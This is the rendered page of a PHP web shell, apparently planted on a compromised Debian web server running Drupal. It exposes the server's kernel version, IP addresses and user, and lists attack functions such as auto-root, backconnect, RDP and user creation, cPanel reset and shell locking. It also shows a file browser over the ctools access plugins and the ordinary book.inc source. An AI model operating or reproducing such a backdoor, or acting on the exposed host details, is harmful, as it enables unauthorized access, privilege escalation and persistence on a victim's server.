Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 3.139.239.25
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
baltic /
web /
modules /
ctools /
plugins /
access /
[ HOME SHELL ]
Name
Size
Permission
Action
book.inc
2.59
KB
-rw-r--r--
compare_users.inc
2.33
KB
-rw-r--r--
context_exists.inc
1.83
KB
-rw-r--r--
entity_bundle.inc
4.51
KB
-rw-r--r--
entity_field_value.inc
14.35
KB
-rw-r--r--
front.inc
1.04
KB
-rw-r--r--
node.inc
0
B
-rw-r--r--
node_access.inc
2.65
KB
-rw-r--r--
node_comment.inc
923
B
-rw-r--r--
node_language.inc
3.41
KB
-rw-r--r--
node_status.inc
915
B
-rw-r--r--
node_type.inc
3.71
KB
-rw-r--r--
path_visibility.inc
3.08
KB
-rw-r--r--
perm.inc
2.08
KB
-rw-r--r--
php.inc
2.1
KB
-rw-r--r--
role.inc
2.38
KB
-rw-r--r--
site_language.inc
2.46
KB
-rw-r--r--
string_equal.inc
2.78
KB
-rw-r--r--
string_length.inc
2.28
KB
-rw-r--r--
term.inc
3.8
KB
-rw-r--r--
term_has_parent.inc
5.66
KB
-rw-r--r--
term_parent.inc
2.74
KB
-rw-r--r--
term_vocabulary.inc
3.77
KB
-rw-r--r--
theme.inc
1.85
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : book.inc
<?php /** * @file * Plugin to provide access control based on whether a node belongs to a book. */ /** * Plugins are described by creating a $plugin array which will be used * by the system that includes this file. */ if (module_exists('book')) { $plugin = array( 'title' => t("Book: node is in a book"), 'description' => t('Control access based upon a node belonging to a book.'), 'callback' => 'ctools_book_node_ctools_access_check', 'default' => array('book' => array()), 'settings form' => 'ctools_book_node_ctools_access_settings', 'settings form submit' => 'ctools_book_node_ctools_access_settings_submit', 'summary' => 'ctools_book_node_ctools_access_summary', 'required context' => new ctools_context_required(t('Node'), 'node'), ); } /** * Settings form for the 'by book_node' access plugin. */ function ctools_book_node_ctools_access_settings($form, &$form_state, $conf) { $options = array( 'any' => t('In any book'), ); $books = book_get_books(); foreach ($books as $bid => $book) { $options[$bid] = $book['title']; } $form['settings']['book'] = array( '#title' => t('Book'), '#type' => 'checkboxes', '#options' => $options, '#description' => t('Pass only if the node belongs to one of the selected books'), '#default_value' => $conf['book'], '#required' => TRUE, ); return $form; } /** * Check for access. */ function ctools_book_node_ctools_access_check($conf, $context) { // As far as I know there should always be a context at this point, but this // is safe. if (empty($context) || empty($context->data) || empty($context->data->book)) { return FALSE; } if ($conf['book']['any']) { return !empty($context->data->book); } foreach ($conf['book'] as $bid => $value) { if ($bid == 'any') { continue; } if ($value && ($bid == $context->data->book['bid'])) { return TRUE; } } return FALSE; } /** * Provide a summary description based upon the checked node_languages. */ function ctools_book_node_ctools_access_summary($conf, $context) { if ($conf['book']['any']) { return t('@identifier belongs to a book', array('@identifier' => $context->identifier)); } $books = array(); foreach ($conf['book'] as $bid => $value) { if ($value) { $node = node_load($bid); $books[] = $node->title; } } if (count($books) == 1) { return t('@identifier belongs to the book "@book"', array('@book' => $books[0], '@identifier' => $context->identifier)); } return t('@identifier belongs in multiple books', array('@identifier' => $context->identifier)); }
Close